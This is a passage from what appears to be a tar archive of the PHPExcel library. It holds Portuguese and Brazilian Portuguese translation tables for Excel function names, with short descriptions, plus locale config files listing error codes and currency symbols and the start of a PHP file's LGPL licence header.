SUBST ## Substitui texto novo por texto antigo numa cadeia de texto T = T ## Converte os respectivos argumentos em texto TEXT = TEXTO ## Formata um número e converte-o em texto TRIM = COMPACTAR ## Remove espaços do texto UPPER = MAIÚSCULAS ## Converte texto em maiúsculas VALUE = VALOR ## Converte um argumento de texto num número PHPExcel/locale/pt/br/functions 0000644 00000075772 14642534110 0012416 0 ustar 00 ## ## Add-in and Automation functions Funções Suplemento e Automação ## GETPIVOTDATA = INFODADOSTABELADINÂMICA ## Retorna os dados armazenados em um relatório de tabela dinâmica ## ## Cube functions Funções de Cubo ## CUBEKPIMEMBER = MEMBROKPICUBO ## Retorna o nome de um KPI (indicador de desempenho-chave), uma propriedade e uma medida e exibe o nome e a propriedade na célula. Um KPI é uma medida quantificável, como o lucro bruto mensal ou a rotatividade trimestral dos funcionários, usada para monitorar o desempenho de uma organização. CUBEMEMBER = MEMBROCUBO ## Retorna um membro ou tupla em uma hierarquia de cubo. Use para validar se o membro ou tupla existe no cubo. CUBEMEMBERPROPERTY = PROPRIEDADEMEMBROCUBO ## Retorna o valor da propriedade de um membro no cubo. Usada para validar a existência do nome do membro no cubo e para retornar a propriedade especificada para esse membro. CUBERANKEDMEMBER = MEMBROCLASSIFICADOCUBO ## Retorna o enésimo membro, ou o membro ordenado, em um conjunto. Use para retornar um ou mais elementos em um conjunto, assim como o melhor vendedor ou os dez melhores alunos. CUBESET = CONJUNTOCUBO ## Define um conjunto calculado de membros ou tuplas enviando uma expressão do conjunto para o cubo no servidor, que cria o conjunto e o retorna para o Microsoft Office Excel. CUBESETCOUNT = CONTAGEMCONJUNTOCUBO ## Retorna o número de itens em um conjunto. CUBEVALUE = VALORCUBO ## Retorna um valor agregado de um cubo. ## ## Database functions Funções de banco de dados ## DAVERAGE = BDMÉDIA ## Retorna a média das entradas selecionadas de um banco de dados DCOUNT = BDCONTAR ## Conta as células que contêm números em um banco de dados DCOUNTA = BDCONTARA ## Conta células não vazias em um banco de dados DGET = BDEXTRAIR ## Extrai de um banco de dados um único registro que corresponde a um critério específico DMAX = BDMÁX ## Retorna o valor máximo de entradas selecionadas de um banco de dados DMIN = BDMÍN ## Retorna o valor mínimo de entradas selecionadas de um banco de dados DPRODUCT = BDMULTIPL ## Multiplica os valores em um campo específico de registros que correspondem ao critério em um banco de dados DSTDEV = BDEST ## Estima o desvio padrão com base em uma amostra de entradas selecionadas de um banco de dados DSTDEVP = BDDESVPA ## Calcula o desvio padrão com base na população inteira de entradas selecionadas de um banco de dados DSUM = BDSOMA ## Adiciona os números à coluna de campos de registros do banco de dados que correspondem ao critério DVAR = BDVAREST ## Estima a variância com base em uma amostra de entradas selecionadas de um banco de dados DVARP = BDVARP ## Calcula a variância com base na população inteira de entradas selecionadas de um banco de dados ## ## Date and time functions Funções de data e hora ## DATE = DATA ## Retorna o número de série de uma data específica DATEVALUE = DATA.VALOR ## Converte uma data na forma de texto para um número de série DAY = DIA ## Converte um número de série em um dia do mês DAYS360 = DIAS360 ## Calcula o número de dias entre duas datas com base em um ano de 360 dias EDATE = DATAM ## Retorna o número de série da data que é o número indicado de meses antes ou depois da data inicial EOMONTH = FIMMÊS ## Retorna o número de série do último dia do mês antes ou depois de um número especificado de meses HOUR = HORA ## Converte um número de série em uma hora MINUTE = MINUTO ## Converte um número de série em um minuto MONTH = MÊS ## Converte um número de série em um mês NETWORKDAYS = DIATRABALHOTOTAL ## Retorna o número de dias úteis inteiros entre duas datas NOW = AGORA ## Retorna o número de série seqüencial da data e hora atuais SECOND = SEGUNDO ## Converte um número de série em um segundo TIME = HORA ## Retorna o número de série de uma hora específica TIMEVALUE = VALOR.TEMPO ## Converte um horário na forma de texto para um número de série TODAY = HOJE ## Retorna o número de série da data de hoje WEEKDAY = DIA.DA.SEMANA ## Converte um número de série em um dia da semana WEEKNUM = NÚMSEMANA ## Converte um número de série em um número que representa onde a semana cai numericamente em um ano WORKDAY = DIATRABALHO ## Retorna o número de série da data antes ou depois de um número específico de dias úteis YEAR = ANO ## Converte um número de série em um ano YEARFRAC = FRAÇÃOANO ## Retorna a fração do ano que representa o número de dias entre data_inicial e data_final ## ## Engineering functions Funções de engenharia ## BESSELI = BESSELI ## Retorna a função de Bessel In(x) modificada BESSELJ = BESSELJ ## Retorna a função de Bessel Jn(x) BESSELK = BESSELK ## Retorna a função de Bessel Kn(x) modificada BESSELY = BESSELY ## Retorna a função de Bessel Yn(x) BIN2DEC = BIN2DEC ## Converte um número binário em decimal BIN2HEX = BIN2HEX ## Converte um número binário em hexadecimal BIN2OCT = BIN2OCT ## Converte um número binário em octal COMPLEX = COMPLEX ## Converte coeficientes reais e imaginários e um número complexo CONVERT = CONVERTER ## Converte um número de um sistema de medida para outro DEC2BIN = DECABIN ## Converte um número decimal em binário DEC2HEX = DECAHEX ## Converte um número decimal em hexadecimal DEC2OCT = DECAOCT ## Converte um número decimal em octal DELTA = DELTA ## Testa se dois valores são iguais ERF = FUNERRO ## Retorna a função de erro ERFC = FUNERROCOMPL ## Retorna a função de erro complementar GESTEP = DEGRAU ## Testa se um número é maior do que um valor limite HEX2BIN = HEXABIN ## Converte um número hexadecimal em binário HEX2DEC = HEXADEC ## Converte um número hexadecimal em decimal HEX2OCT = HEXAOCT ## Converte um número hexadecimal em octal IMABS = IMABS ## Retorna o valor absoluto (módulo) de um número complexo IMAGINARY = IMAGINÁRIO ## Retorna o coeficiente imaginário de um número complexo IMARGUMENT = IMARG ## Retorna o argumento teta, um ângulo expresso em radianos IMCONJUGATE = IMCONJ ## Retorna o conjugado complexo de um número complexo IMCOS = IMCOS ## Retorna o cosseno de um número complexo IMDIV = IMDIV ## Retorna o quociente de dois números complexos IMEXP = IMEXP ## Retorna o exponencial de um número complexo IMLN = IMLN ## Retorna o logaritmo natural de um número complexo IMLOG10 = IMLOG10 ## Retorna o logaritmo de base 10 de um número complexo IMLOG2 = IMLOG2 ## Retorna o logaritmo de base 2 de um número complexo IMPOWER = IMPOT ## Retorna um número complexo elevado a uma potência inteira IMPRODUCT = IMPROD ## Retorna o produto de números complexos IMREAL = IMREAL ## Retorna o coeficiente real de um número complexo IMSIN = IMSENO ## Retorna o seno de um número complexo IMSQRT = IMRAIZ ## Retorna a raiz quadrada de um número complexo IMSUB = IMSUBTR ## Retorna a diferença entre dois números complexos IMSUM = IMSOMA ## Retorna a soma de números complexos OCT2BIN = OCTABIN ## Converte um número octal em binário OCT2DEC = OCTADEC ## Converte um número octal em decimal OCT2HEX = OCTAHEX ## Converte um número octal em hexadecimal ## ## Financial functions Funções financeiras ## ACCRINT = JUROSACUM ## Retorna a taxa de juros acumulados de um título que paga uma taxa periódica de juros ACCRINTM = JUROSACUMV ## Retorna os juros acumulados de um título que paga juros no vencimento AMORDEGRC = AMORDEGRC ## Retorna a depreciação para cada período contábil usando o coeficiente de depreciação AMORLINC = AMORLINC ## Retorna a depreciação para cada período contábil COUPDAYBS = CUPDIASINLIQ ## Retorna o número de dias do início do período de cupom até a data de liquidação COUPDAYS = CUPDIAS ## Retorna o número de dias no período de cupom que contém a data de quitação COUPDAYSNC = CUPDIASPRÓX ## Retorna o número de dias da data de liquidação até a data do próximo cupom COUPNCD = CUPDATAPRÓX ## Retorna a próxima data de cupom após a data de quitação COUPNUM = CUPNÚM ## Retorna o número de cupons pagáveis entre as datas de quitação e vencimento COUPPCD = CUPDATAANT ## Retorna a data de cupom anterior à data de quitação CUMIPMT = PGTOJURACUM ## Retorna os juros acumulados pagos entre dois períodos CUMPRINC = PGTOCAPACUM ## Retorna o capital acumulado pago sobre um empréstimo entre dois períodos DB = BD ## Retorna a depreciação de um ativo para um período especificado, usando o método de balanço de declínio fixo DDB = BDD ## Retorna a depreciação de um ativo com relação a um período especificado usando o método de saldos decrescentes duplos ou qualquer outro método especificado por você DISC = DESC ## Retorna a taxa de desconto de um título DOLLARDE = MOEDADEC ## Converte um preço em formato de moeda, na forma fracionária, em um preço na forma decimal DOLLARFR = MOEDAFRA ## Converte um preço, apresentado na forma decimal, em um preço apresentado na forma fracionária DURATION = DURAÇÃO ## Retorna a duração anual de um título com pagamentos de juros periódicos EFFECT = EFETIVA ## Retorna a taxa de juros anual efetiva FV = VF ## Retorna o valor futuro de um investimento FVSCHEDULE = VFPLANO ## Retorna o valor futuro de um capital inicial após a aplicação de uma série de taxas de juros compostas INTRATE = TAXAJUROS ## Retorna a taxa de juros de um título totalmente investido IPMT = IPGTO ## Retorna o pagamento de juros para um investimento em um determinado período IRR = TIR ## Retorna a taxa interna de retorno de uma série de fluxos de caixa ISPMT = ÉPGTO ## Calcula os juros pagos durante um período específico de um investimento MDURATION = MDURAÇÃO ## Retorna a duração de Macauley modificada para um título com um valor de paridade equivalente a R$ 100 MIRR = MTIR ## Calcula a taxa interna de retorno em que fluxos de caixa positivos e negativos são financiados com diferentes taxas NOMINAL = NOMINAL ## Retorna a taxa de juros nominal anual NPER = NPER ## Retorna o número de períodos de um investimento NPV = VPL ## Retorna o valor líquido atual de um investimento com base em uma série de fluxos de caixa periódicos e em uma taxa de desconto ODDFPRICE = PREÇOPRIMINC ## Retorna o preço por R$ 100 de valor nominal de um título com um primeiro período indefinido ODDFYIELD = LUCROPRIMINC ## Retorna o rendimento de um título com um primeiro período indefinido ODDLPRICE = PREÇOÚLTINC ## Retorna o preço por R$ 100 de valor nominal de um título com um último período de cupom indefinido ODDLYIELD = LUCROÚLTINC ## Retorna o rendimento de um título com um último período indefinido PMT = PGTO ## Retorna o pagamento periódico de uma anuidade PPMT = PPGTO ## Retorna o pagamento de capital para determinado período de investimento PRICE = PREÇO ## Retorna a preço por R$ 100,00 de valor nominal de um título que paga juros periódicos PRICEDISC = PREÇODESC ## Retorna o preço por R$ 100,00 de valor nominal de um título descontado PRICEMAT = PREÇOVENC ## Retorna o preço por R$ 100,00 de valor nominal de um título que paga juros no vencimento PV = VP ## Retorna o valor presente de um investimento RATE = TAXA ## Retorna a taxa de juros por período de uma anuidade RECEIVED = RECEBER ## Retorna a quantia recebida no vencimento de um título totalmente investido SLN = DPD ## Retorna a depreciação em linha reta de um ativo durante um período SYD = SDA ## Retorna a depreciação dos dígitos da soma dos anos de um ativo para um período especificado TBILLEQ = OTN ## Retorna o rendimento de um título equivalente a uma obrigação do Tesouro TBILLPRICE = OTNVALOR ## Retorna o preço por R$ 100,00 de valor nominal de uma obrigação do Tesouro TBILLYIELD = OTNLUCRO ## Retorna o rendimento de uma obrigação do Tesouro VDB = BDV ## Retorna a depreciação de um ativo para um período especificado ou parcial usando um método de balanço declinante XIRR = XTIR ## Fornece a taxa interna de retorno para um programa de fluxos de caixa que não é necessariamente periódico XNPV = XVPL ## Retorna o valor presente líquido de um programa de fluxos de caixa que não é necessariamente periódico YIELD = LUCRO ## Retorna o lucro de um título que paga juros periódicos YIELDDISC = LUCRODESC ## Retorna o rendimento anual de um título descontado. Por exemplo, uma obrigação do Tesouro YIELDMAT = LUCROVENC ## Retorna o lucro anual de um título que paga juros no vencimento ## ## Information functions Funções de informação ## CELL = CÉL ## Retorna informações sobre formatação, localização ou conteúdo de uma célula ERROR.TYPE = TIPO.ERRO ## Retorna um número correspondente a um tipo de erro INFO = INFORMAÇÃO ## Retorna informações sobre o ambiente operacional atual ISBLANK = ÉCÉL.VAZIA ## Retorna VERDADEIRO se o valor for vazio ISERR = ÉERRO ## Retorna VERDADEIRO se o valor for um valor de erro diferente de #N/D ISERROR = ÉERROS ## Retorna VERDADEIRO se o valor for um valor de erro ISEVEN = ÉPAR ## Retorna VERDADEIRO se o número for par ISLOGICAL = ÉLÓGICO ## Retorna VERDADEIRO se o valor for um valor lógico ISNA = É.NÃO.DISP ## Retorna VERDADEIRO se o valor for o valor de erro #N/D ISNONTEXT = É.NÃO.TEXTO ## Retorna VERDADEIRO se o valor for diferente de texto ISNUMBER = ÉNÚM ## Retorna VERDADEIRO se o valor for um número ISODD = ÉIMPAR ## Retorna VERDADEIRO se o número for ímpar ISREF = ÉREF ## Retorna VERDADEIRO se o valor for uma referência ISTEXT = ÉTEXTO ## Retorna VERDADEIRO se o valor for texto N = N ## Retorna um valor convertido em um número NA = NÃO.DISP ## Retorna o valor de erro #N/D TYPE = TIPO ## Retorna um número indicando o tipo de dados de um valor ## ## Logical functions Funções lógicas ## AND = E ## Retorna VERDADEIRO se todos os seus argumentos forem VERDADEIROS FALSE = FALSO ## Retorna o valor lógico FALSO IF = SE ## Especifica um teste lógico a ser executado IFERROR = SEERRO ## Retornará um valor que você especifica se uma fórmula for avaliada para um erro; do contrário, retornará o resultado da fórmula NOT = NÃO ## Inverte o valor lógico do argumento OR = OU ## Retorna VERDADEIRO se um dos argumentos for VERDADEIRO TRUE = VERDADEIRO ## Retorna o valor lógico VERDADEIRO ## ## Lookup and reference functions Funções de pesquisa e referência ## ADDRESS = ENDEREÇO ## Retorna uma referência como texto para uma única célula em uma planilha AREAS = ÁREAS ## Retorna o número de áreas em uma referência CHOOSE = ESCOLHER ## Escolhe um valor a partir de uma lista de valores COLUMN = COL ## Retorna o número da coluna de uma referência COLUMNS = COLS ## Retorna o número de colunas em uma referência HLOOKUP = PROCH ## Procura na linha superior de uma matriz e retorna o valor da célula especificada HYPERLINK = HYPERLINK ## Cria um atalho ou salto que abre um documento armazenado em um servidor de rede, uma intranet ou na Internet INDEX = ÍNDICE ## Usa um índice para escolher um valor de uma referência ou matriz INDIRECT = INDIRETO ## Retorna uma referência indicada por um valor de texto LOOKUP = PROC ## Procura valores em um vetor ou em uma matriz MATCH = CORRESP ## Procura valores em uma referência ou em uma matriz OFFSET = DESLOC ## Retorna um deslocamento de referência com base em uma determinada referência ROW = LIN ## Retorna o número da linha de uma referência ROWS = LINS ## Retorna o número de linhas em uma referência RTD = RTD ## Recupera dados em tempo real de um programa que ofereça suporte a automação COM (automação: uma forma de trabalhar com objetos de um aplicativo a partir de outro aplicativo ou ferramenta de desenvolvimento. Chamada inicialmente de automação OLE, a automação é um padrão industrial e um recurso do modelo de objeto componente (COM).) TRANSPOSE = TRANSPOR ## Retorna a transposição de uma matriz VLOOKUP = PROCV ## Procura na primeira coluna de uma matriz e move ao longo da linha para retornar o valor de uma célula ## ## Math and trigonometry functions Funções matemáticas e trigonométricas ## ABS = ABS ## Retorna o valor absoluto de um número ACOS = ACOS ## Retorna o arco cosseno de um número ACOSH = ACOSH ## Retorna o cosseno hiperbólico inverso de um número ASIN = ASEN ## Retorna o arco seno de um número ASINH = ASENH ## Retorna o seno hiperbólico inverso de um número ATAN = ATAN ## Retorna o arco tangente de um número ATAN2 = ATAN2 ## Retorna o arco tangente das coordenadas x e y especificadas ATANH = ATANH ## Retorna a tangente hiperbólica inversa de um número CEILING = TETO ## Arredonda um número para o inteiro mais próximo ou para o múltiplo mais próximo de significância COMBIN = COMBIN ## Retorna o número de combinações de um determinado número de objetos COS = COS ## Retorna o cosseno de um número COSH = COSH ## Retorna o cosseno hiperbólico de um número DEGREES = GRAUS ## Converte radianos em graus EVEN = PAR ## Arredonda um número para cima até o inteiro par mais próximo EXP = EXP ## Retorna e elevado à potência de um número especificado FACT = FATORIAL ## Retorna o fatorial de um número FACTDOUBLE = FATDUPLO ## Retorna o fatorial duplo de um número FLOOR = ARREDMULTB ## Arredonda um número para baixo até zero GCD = MDC ## Retorna o máximo divisor comum INT = INT ## Arredonda um número para baixo até o número inteiro mais próximo LCM = MMC ## Retorna o mínimo múltiplo comum LN = LN ## Retorna o logaritmo natural de um número LOG = LOG ## Retorna o logaritmo de um número de uma base especificada LOG10 = LOG10 ## Retorna o logaritmo de base 10 de um número MDETERM = MATRIZ.DETERM ## Retorna o determinante de uma matriz de uma variável do tipo matriz MINVERSE = MATRIZ.INVERSO ## Retorna a matriz inversa de uma matriz MMULT = MATRIZ.MULT ## Retorna o produto de duas matrizes MOD = RESTO ## Retorna o resto da divisão MROUND = MARRED ## Retorna um número arredondado ao múltiplo desejado MULTINOMIAL = MULTINOMIAL ## Retorna o multinomial de um conjunto de números ODD = ÍMPAR ## Arredonda um número para cima até o inteiro ímpar mais próximo PI = PI ## Retorna o valor de Pi POWER = POTÊNCIA ## Fornece o resultado de um número elevado a uma potência PRODUCT = MULT ## Multiplica seus argumentos QUOTIENT = QUOCIENTE ## Retorna a parte inteira de uma divisão RADIANS = RADIANOS ## Converte graus em radianos RAND = ALEATÓRIO ## Retorna um número aleatório entre 0 e 1 RANDBETWEEN = ALEATÓRIOENTRE ## Retorna um número aleatório entre os números especificados ROMAN = ROMANO ## Converte um algarismo arábico em romano, como texto ROUND = ARRED ## Arredonda um número até uma quantidade especificada de dígitos ROUNDDOWN = ARREDONDAR.PARA.BAIXO ## Arredonda um número para baixo até zero ROUNDUP = ARREDONDAR.PARA.CIMA ## Arredonda um número para cima, afastando-o de zero SERIESSUM = SOMASEQÜÊNCIA ## Retorna a soma de uma série polinomial baseada na fórmula SIGN = SINAL ## Retorna o sinal de um número SIN = SEN ## Retorna o seno de um ângulo dado SINH = SENH ## Retorna o seno hiperbólico de um número SQRT = RAIZ ## Retorna uma raiz quadrada positiva SQRTPI = RAIZPI ## Retorna a raiz quadrada de (núm* pi) SUBTOTAL = SUBTOTAL ## Retorna um subtotal em uma lista ou em um banco de dados SUM = SOMA ## Soma seus argumentos SUMIF = SOMASE ## Adiciona as células especificadas por um determinado critério SUMIFS = SOMASE ## Adiciona as células em um intervalo que atende a vários critérios SUMPRODUCT = SOMARPRODUTO ## Retorna a soma dos produtos de componentes correspondentes de matrizes SUMSQ = SOMAQUAD ## Retorna a soma dos quadrados dos argumentos SUMX2MY2 = SOMAX2DY2 ## Retorna a soma da diferença dos quadrados dos valores correspondentes em duas matrizes SUMX2PY2 = SOMAX2SY2 ## Retorna a soma da soma dos quadrados dos valores correspondentes em duas matrizes SUMXMY2 = SOMAXMY2 ## Retorna a soma dos quadrados das diferenças dos valores correspondentes em duas matrizes TAN = TAN ## Retorna a tangente de um número TANH = TANH ## Retorna a tangente hiperbólica de um número TRUNC = TRUNCAR ## Trunca um número para um inteiro ## ## Statistical functions Funções estatísticas ## AVEDEV = DESV.MÉDIO ## Retorna a média aritmética dos desvios médios dos pontos de dados a partir de sua média AVERAGE = MÉDIA ## Retorna a média dos argumentos AVERAGEA = MÉDIAA ## Retorna a média dos argumentos, inclusive números, texto e valores lógicos AVERAGEIF = MÉDIASE ## Retorna a média (média aritmética) de todas as células em um intervalo que atendem a um determinado critério AVERAGEIFS = MÉDIASES ## Retorna a média (média aritmética) de todas as células que atendem a múltiplos critérios. BETADIST = DISTBETA ## Retorna a função de distribuição cumulativa beta BETAINV = BETA.ACUM.INV ## Retorna o inverso da função de distribuição cumulativa para uma distribuição beta especificada BINOMDIST = DISTRBINOM ## Retorna a probabilidade de distribuição binomial do termo individual CHIDIST = DIST.QUI ## Retorna a probabilidade unicaudal da distribuição qui-quadrada CHIINV = INV.QUI ## Retorna o inverso da probabilidade uni-caudal da distribuição qui-quadrada CHITEST = TESTE.QUI ## Retorna o teste para independência CONFIDENCE = INT.CONFIANÇA ## Retorna o intervalo de confiança para uma média da população CORREL = CORREL ## Retorna o coeficiente de correlação entre dois conjuntos de dados COUNT = CONT.NÚM ## Calcula quantos números há na lista de argumentos COUNTA = CONT.VALORES ## Calcula quantos valores há na lista de argumentos COUNTBLANK = CONTAR.VAZIO ## Conta o número de células vazias no intervalo especificado COUNTIF = CONT.SE ## Calcula o número de células não vazias em um intervalo que corresponde a determinados critérios COUNTIFS = CONT.SES ## Conta o número de células dentro de um intervalo que atende a múltiplos critérios COVAR = COVAR ## Retorna a covariância, a média dos produtos dos desvios pares CRITBINOM = CRIT.BINOM ## Retorna o menor valor para o qual a distribuição binomial cumulativa é menor ou igual ao valor padrão DEVSQ = DESVQ ## Retorna a soma dos quadrados dos desvios EXPONDIST = DISTEXPON ## Retorna a distribuição exponencial FDIST = DISTF ## Retorna a distribuição de probabilidade F FINV = INVF ## Retorna o inverso da distribuição de probabilidades F FISHER = FISHER ## Retorna a transformação Fisher FISHERINV = FISHERINV ## Retorna o inverso da transformação Fisher FORECAST = PREVISÃO ## Retorna um valor ao longo de uma linha reta FREQUENCY = FREQÜÊNCIA ## Retorna uma distribuição de freqüência como uma matriz vertical FTEST = TESTEF ## Retorna o resultado de um teste F GAMMADIST = DISTGAMA ## Retorna a distribuição gama GAMMAINV = INVGAMA ## Retorna o inverso da distribuição cumulativa gama GAMMALN = LNGAMA ## Retorna o logaritmo natural da função gama, G(x) GEOMEAN = MÉDIA.GEOMÉTRICA ## Retorna a média geométrica GROWTH = CRESCIMENTO ## Retorna valores ao longo de uma tendência exponencial HARMEAN = MÉDIA.HARMÔNICA ## Retorna a média harmônica HYPGEOMDIST = DIST.HIPERGEOM ## Retorna a distribuição hipergeométrica INTERCEPT = INTERCEPÇÃO ## Retorna a intercepção da linha de regressão linear KURT = CURT ## Retorna a curtose de um conjunto de dados LARGE = MAIOR ## Retorna o maior valor k-ésimo de um conjunto de dados LINEST = PROJ.LIN ## Retorna os parâmetros de uma tendência linear LOGEST = PROJ.LOG ## Retorna os parâmetros de uma tendência exponencial LOGINV = INVLOG ## Retorna o inverso da distribuição lognormal LOGNORMDIST = DIST.LOGNORMAL ## Retorna a distribuição lognormal cumulativa MAX = MÁXIMO ## Retorna o valor máximo em uma lista de argumentos MAXA = MÁXIMOA ## Retorna o maior valor em uma lista de argumentos, inclusive números, texto e valores lógicos MEDIAN = MED ## Retorna a mediana dos números indicados MIN = MÍNIMO ## Retorna o valor mínimo em uma lista de argumentos MINA = MÍNIMOA ## Retorna o menor valor em uma lista de argumentos, inclusive números, texto e valores lógicos MODE = MODO ## Retorna o valor mais comum em um conjunto de dados NEGBINOMDIST = DIST.BIN.NEG ## Retorna a distribuição binomial negativa NORMDIST = DIST.NORM ## Retorna a distribuição cumulativa normal NORMINV = INV.NORM ## Retorna o inverso da distribuição cumulativa normal NORMSDIST = DIST.NORMP ## Retorna a distribuição cumulativa normal padrão NORMSINV = INV.NORMP ## Retorna o inverso da distribuição cumulativa normal padrão PEARSON = PEARSON ## Retorna o coeficiente de correlação do momento do produto Pearson PERCENTILE = PERCENTIL ## Retorna o k-ésimo percentil de valores em um intervalo PERCENTRANK = ORDEM.PORCENTUAL ## Retorna a ordem percentual de um valor em um conjunto de dados PERMUT = PERMUT ## Retorna o número de permutações de um determinado número de objetos POISSON = POISSON ## Retorna a distribuição Poisson PROB = PROB ## Retorna a probabilidade de valores em um intervalo estarem entre dois limites QUARTILE = QUARTIL ## Retorna o quartil do conjunto de dados RANK = ORDEM ## Retorna a posição de um número em uma lista de números RSQ = RQUAD ## Retorna o quadrado do coeficiente de correlação do momento do produto de Pearson SKEW = DISTORÇÃO ## Retorna a distorção de uma distribuição SLOPE = INCLINAÇÃO ## Retorna a inclinação da linha de regressão linear SMALL = MENOR ## Retorna o menor valor k-ésimo do conjunto de dados STANDARDIZE = PADRONIZAR ## Retorna um valor normalizado STDEV = DESVPAD ## Estima o desvio padrão com base em uma amostra STDEVA = DESVPADA ## Estima o desvio padrão com base em uma amostra, inclusive números, texto e valores lógicos STDEVP = DESVPADP ## Calcula o desvio padrão com base na população total STDEVPA = DESVPADPA ## Calcula o desvio padrão com base na população total, inclusive números, texto e valores lógicos STEYX = EPADYX ## Retorna o erro padrão do valor-y previsto para cada x da regressão TDIST = DISTT ## Retorna a distribuição t de Student TINV = INVT ## Retorna o inverso da distribuição t de Student TREND = TENDÊNCIA ## Retorna valores ao longo de uma tendência linear TRIMMEAN = MÉDIA.INTERNA ## Retorna a média do interior de um conjunto de dados TTEST = TESTET ## Retorna a probabilidade associada ao teste t de Student VAR = VAR ## Estima a variância com base em uma amostra VARA = VARA ## Estima a variância com base em uma amostra, inclusive números, texto e valores lógicos VARP = VARP ## Calcula a variância com base na população inteira VARPA = VARPA ## Calcula a variância com base na população total, inclusive números, texto e valores lógicos WEIBULL = WEIBULL ## Retorna a distribuição Weibull ZTEST = TESTEZ ## Retorna o valor de probabilidade uni-caudal de um teste-z ## ## Text functions Funções de texto ## ASC = ASC ## Altera letras do inglês ou katakana de largura total (bytes duplos) dentro de uma seqüência de caracteres para caracteres de meia largura (byte único) BAHTTEXT = BAHTTEXT ## Converte um número em um texto, usando o formato de moeda ß (baht) CHAR = CARACT ## Retorna o caractere especificado pelo número de código CLEAN = TIRAR ## Remove todos os caracteres do texto que não podem ser impressos CODE = CÓDIGO ## Retorna um código numérico para o primeiro caractere de uma seqüência de caracteres de texto CONCATENATE = CONCATENAR ## Agrupa vários itens de texto em um único item de texto DOLLAR = MOEDA ## Converte um número em texto, usando o formato de moeda $ (dólar) EXACT = EXATO ## Verifica se dois valores de texto são idênticos FIND = PROCURAR ## Procura um valor de texto dentro de outro (diferencia maiúsculas de minúsculas) FINDB = PROCURARB ## Procura um valor de texto dentro de outro (diferencia maiúsculas de minúsculas) FIXED = DEF.NÚM.DEC ## Formata um número como texto com um número fixo de decimais JIS = JIS ## Altera letras do inglês ou katakana de meia largura (byte único) dentro de uma seqüência de caracteres para caracteres de largura total (bytes duplos) LEFT = ESQUERDA ## Retorna os caracteres mais à esquerda de um valor de texto LEFTB = ESQUERDAB ## Retorna os caracteres mais à esquerda de um valor de texto LEN = NÚM.CARACT ## Retorna o número de caracteres em uma seqüência de texto LENB = NÚM.CARACTB ## Retorna o número de caracteres em uma seqüência de texto LOWER = MINÚSCULA ## Converte texto para minúsculas MID = EXT.TEXTO ## Retorna um número específico de caracteres de uma seqüência de texto começando na posição especificada MIDB = EXT.TEXTOB ## Retorna um número específico de caracteres de uma seqüência de texto começando na posição especificada PHONETIC = FONÉTICA ## Extrai os caracteres fonéticos (furigana) de uma seqüência de caracteres de texto PROPER = PRI.MAIÚSCULA ## Coloca a primeira letra de cada palavra em maiúscula em um valor de texto REPLACE = MUDAR ## Muda os caracteres dentro do texto REPLACEB = MUDARB ## Muda os caracteres dentro do texto REPT = REPT ## Repete o texto um determinado número de vezes RIGHT = DIREITA ## Retorna os caracteres mais à direita de um valor de texto RIGHTB = DIREITAB ## Retorna os caracteres mais à direita de um valor de texto SEARCH = LOCALIZAR ## Localiza um valor de texto dentro de outro (não diferencia maiúsculas de minúsculas) SEARCHB = LOCALIZARB ## Localiza um valor de texto dentro de outro (não diferencia maiúsculas de minúsculas) SUBSTITUTE = SUBSTITUIR ## Substitui um novo texto por um texto antigo em uma seqüência de texto T = T ## Converte os argumentos em texto TEXT = TEXTO ## Formata um número e o converte em texto TRIM = ARRUMAR ## Remove espaços do texto UPPER = MAIÚSCULA ## Converte o texto em maiúsculas VALUE = VALOR ## Converte um argumento de texto em um número PHPExcel/locale/pt/br/config 0000644 00000002453 14642534110 0011635 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = R$ ## ## Excel Error Codes (For future use) ## NULL = #NULO! DIV0 = #DIV/0! VALUE = #VALOR! REF = #REF! NAME = #NOME? NUM = #NÚM! NA = #N/D PHPExcel/locale/pt/config 0000644 00000002454 14642534110 0011233 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = € ## ## Excel Error Codes (For future use) ## NULL = #NULO! DIV0 = #DIV/0! VALUE = #VALOR! REF = #REF! NAME = #NOME? NUM = #NÚM! NA = #N/D PHPExcel/IComparable.php 0000644 00000002236 14642534110 0011046 0 ustar 00 <?php /** * PHPExcel_IComparable * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license 